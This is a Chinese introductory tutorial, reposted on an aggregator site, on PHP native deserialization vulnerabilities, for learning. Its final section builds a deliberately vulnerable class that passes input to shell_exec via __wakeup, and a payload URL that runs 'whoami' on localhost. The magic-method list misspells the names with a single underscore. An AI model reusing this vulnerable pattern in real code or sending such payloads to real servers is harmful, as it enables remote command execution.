从零开始的PHP原生反序列化漏洞

news/2025/1/18 10:42:25/文章来源:https://www.cnblogs.com/cn-sec-/p/18678120

1、写在前面

OK 兄弟们,这几天一直在面试,发现很多 HR 喜欢问反序列化相关的内容,今天咱们就从最简单的 PHP 原生反序列化入手,带大家入门反序列化

2、PHP 序列化

在 PHP 中,有反序列化,就有序列化,我们先来解释一下序列化。

所谓序列化,就是将 PHP 的一个对象,序列化为一串字符串的过程,其所用的函数就是serialize()

对象:一个对多种信息描述的整体

类:一个储存信息的共享的模板,以class开头

我们先试着创建一个新的类

<?php
class seren //定义一个类
{
//变量public $a = 'hello';private $b = 'world';
//方法public function print_var()
{echo $this->a;}
}
?>

上面就是一个很简单的类,我们来看一下,首先使用class声明了一个类seren,在这个seren类里,我们有两个变量a和b,还有一个方法print_var

现在我们要去使用这个类,就需要把这个类实例化为一个对象

//创建一个对象
$object = new seren();
//调用一个方法
$object->print_var();

我们可以使用new,将seren类实例化为一个object对象,如果我们想要使用这个类的方法,可以直接使用 $object->print_var(); 的方法来调用这个方法。

接下来,我们试着使用serialize函数,将这个对象给序列化

<?php
class seren //定义一个类
{
//变量public $a = 'hello';private $b = 'world';
//方法public function print_var()
{echo $this->a;}
}
$object = new seren();
$c = serialize($object);
echo $c;
?>

此处我们使用 serialize 将object这个对象,序列化为c,并打印出c

此处可以看到打印出的字符串

O:5:"seren":2:{s:1:"a";s:5:"hello";s:8:" seren b";s:5:"world";}

接下来我们就把这串字符串逐个解释一下。

首先是前面的 O,代表这是一个Object,也就是一个对象,然后是 O 后面的5,代表这个对象的名称为 5 个长度,再后面的seren就是我们对象的名称,后面的 2 就是我们对象里变量的个数。

然后就是大括号里面的内容,里面都是对我们对象里的变量的描述。

第一个s:1:"a";,表示为string类型,这个变量的名称长度为 1,变量名称为 a

后面的s:5:"hello";,表示为string类型,这个值的长度为 5,值为 hello

其实从这里我们就可以发现出规律,这个字符串对对象的描述都是类型+长度+名称的格式

比较特殊的就是后面的s:8:" seren b";,此处我们可以看到似乎有点不一样,这里的长度变成了 8,并且名称变成了serenb

我们回到上面,看我们创建这个类的时候,b 的类型为private,所以就可以知道,根据规定,private类型的变量在序列化后,名称会变为类名+变量名的格式,但是serenb也只有 6 个长度,但是他提示我们有 8 个长度

其实是因为在seren的前后有两个我们不可见的%00,他真正的内容应该是%00seren%00b,%00 算是一个长度,所以一共是 8 个长度。

3、PHP 反序列化

讲完了序列化,接下来就是反序列化,反序列化的函数是unserialize(),他可以将我们的序列化后的字符串,反序列化为对象

<?php
class seren //定义一个类
{
//变量public $a = 'hello';private $b = 'world';
//方法public function print_var()
{echo $this->a;}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
var_dump($object2);
?>

此处我们使用unserialize函数将字符串 c 反序列化为了对象object2

4、魔术方法

魔术方法是 php 反序列化漏洞利用中很重要的一环,一般以两个下划线开头,如果这个类里面存在魔术方法,他就会优先调用魔术方法

_construct()  //当一个对象创建时被调用
_destruct()   //对象被销毁时触发
_wakeup()     //反序列化前触发
_sleep()      //序列化前触发
_toString()   //把类当作字符串使用时触发
_get()        //用于从不可访问的属性读取数据
_set()        //用于将数据写入不可访问的属性
_isset()      //在不可访问的属性上调用isset()或empty()触发
_unset()      //在不可访问的属性上使用unset时触发
_invoke()     //当脚本尝试将对象调用为函数时触发

我们试着在类里创建一个魔术方法wakeup

<?php
class seren //定义一个类
{
//变量public $a = 'hello';private $b = 'world';
//方法public function print_var()
{echo $this->a;}public function __wakeup()
{// TODO: Implement __wakeup() method.echo 'Follow SerenSec!';}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
?>

运行后发现输出了Follow SerenSec!

5、PHP 反序列化漏洞

我们可以试着在反序列化的时候,寻找一些比较危险的魔术方法,从而达成 RCE 的目的,这就是反序列化漏洞

下面是一个很简单的例子

<?php
class seren //定义一个类
{
//变量public $a = 'hello';private $b = 'world';public $hack;
//方法public function print_var()
{echo $this->a;}public function __construct($hack) {$this->hack = $hack;}public function __wakeup()
{// TODO: Implement __wakeup() method.echo shell_exec($this->hack);}
}
$object2 = unserialize($_GET['hack']);
?>

此时我们发现有 __wakeup 魔术方法,其中存在 shell_exec 函数,可以执行命令,并且其中的 hack 变量是可控的

我们先构造出序列化后的字符串

O:5:"seren":3:{s:1:"a";s:5:"hello";s:8:"%00seren%00b";s:5:"world";s:4:"hack";s:6:"whoami"}

然后构造 payload

http://localhost/test.php?hack=O:5:%22seren%22:3:{s:1:%22a%22;s:5:%22hello%22;s:8:%22%00seren%00b%22;s:5:%22world%22;s:4:%22hack%22;s:6:%22whoami%22}

成功执行命令

6、结语

PHP 原生反序列化比较简单,后面会有一些拓展内容,像是POP 链Phar 协议,这些是比较绕的地方,各位可以自行探索。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871168.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

简单讲一下免杀的一个思想

这几天一直在忙,没时间学新东西,也不知道写什么,正好今天有人跟我要免杀,cs 二开的东西,这里就水一篇文章,带各位入门免杀,建立一个免杀思路。 1、什么是免杀? 首先各位需要了解一下,免杀的基本概念免杀,全称为反杀毒技术,用来使木马病毒程序逃过杀毒软件的检测免杀…

读量子霸权07光合作用

光合作用转化CO2、阳光、水为糖和氧气,对地球生命至关重要。量子计算机或能揭秘光合作用,助力高效光伏电池和作物增产。人工光合作用和“人工树叶”或对抗全球变暖,量子计算机或加速其进展。1. 光合作用 1.1. 生命起源的一幕主要戏剧便是光合作用,一个看似简单的过程1.1.1.…

关于网传微信聊天记录提取工具留痕盗取个人信息的分析

今天早上看到一篇文章,是关于一个微信聊天记录提取工具泄露个人信息的内容,于是我就好奇,看了一下作者的 github,然后也是自己小小的分析了一下 1、官方地址 Github: https://github.com/LC044/WeChatMsg 2、作者自证 url:https://github.com/LC044/WeChatMsg/issues/4923…

2024 11~12 月 做题记录(待更新)

普通和理所当然是什么呢CF2047D Move Back at a Cost 要使字典序最大,每次都要找到最小的数,把它前面的数都后移. 因为可以钦定后移的顺序使得后移的数按升序排列,所以每个数最多被移位一次. 定序后开两个队列模拟即可. CCPC2024 上海F 羁绊大师 将羁绊相同的英雄相连,因为…

看完这章你也会黑盒edu通杀

负责声明: 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用 信息收集: 在一个阳光明媚的中午一位刚吃完午饭的安服仔…

记一次对某学校挖矿木马的应急响应

本来今天高高兴兴,期待着明天的疯狂星期四,但客户那边突然有一台主机需要应急,那就上去看一眼。 1、事件背景 这次设备上有报警,发现是挖矿木马,并且也捕捉到了外联 IOC,那这问题就不大了,直接上机开搞!恶意 IOC:217.160.36.1592、上机处置 首先对这台主机的外联情况查…

Prometheus +VictoriaMetrics+Granafa安装部署

测试环境 prometheus-2.54.1.linux-amd64.tar.gz 下载地址: https://www.prometheus.io/download/ https://github.com/prometheus/prometheus/releases/download/v2.54.1/prometheus-2.54.1.linux-amd64.tar.gz node_exporter-1.8.2.linux-amd64.tar.gz 下载地址: https://g…

服务器被攻击,为什么硬防不起作用?

当服务器遭受攻击时,即使配备了硬件防护设备(如 100G 硬防),仍然可能出现性能下降或无法访问的情况。以下是详细的解释和解决方案:理解硬件防护的作用:硬件防护设备主要用于抵御大流量攻击(如 DDoS 攻击),通过清洗恶意流量来保护服务器。然而,它并不能完全消除所有类…

【ESP 乐鑫相关】ESP32-S3启动流程

转载自:https://blog.itpub.net/70040860/viewspace-3053923/ ESP32-S3启动流程本文将会介绍ESP32-S3从上电到运行app_main函数中间所经历的步骤(即启动流程)。从宏观上,该启动流程可分为如下3个步骤。①:一级引导程序,它被固化在ESP32-S3内部的ROM中,它会从flash的0x00…

80端口对外网访问受限,如何解除限制?

您好!当您发现配置了80端口的Nginx服务虽然可以在本地正常访问,但从外部网络却无法访问时,这通常是由于防火墙规则、安全组策略或其他网络配置不当所造成的。以下是详细的排查步骤和解决方案,帮助您解除80端口的访问限制:检查服务器防火墙设置: 首先,确认服务器上的防火…

服务器升级后,CPU性能下降,网站响应缓慢,如何优化?

在服务器硬件升级后,如果出现CPU性能下降、网站响应速度变慢的情况,这可能是由多种因素共同作用的结果。以下是一些详细的排查步骤和优化建议,帮助您提升服务器的整体性能:确认硬件配置变更: 首先,确保服务器硬件确实按照预期进行了升级。有时候,尽管表面上看起来硬件规…

网站域名解析异常导致跳转到其他页面怎么办?

问题描述: 网站域名解析后出现异常,访问时跳转到其他无关页面。这是什么原因造成的?如何解决? 解决方案: 当您发现网站域名解析后出现异常,访问时跳转到其他无关页面时,这可能是由多种原因引起的。以下是详细的排查步骤和解决方案:检查程序挂马:首先,需要确认网站是否…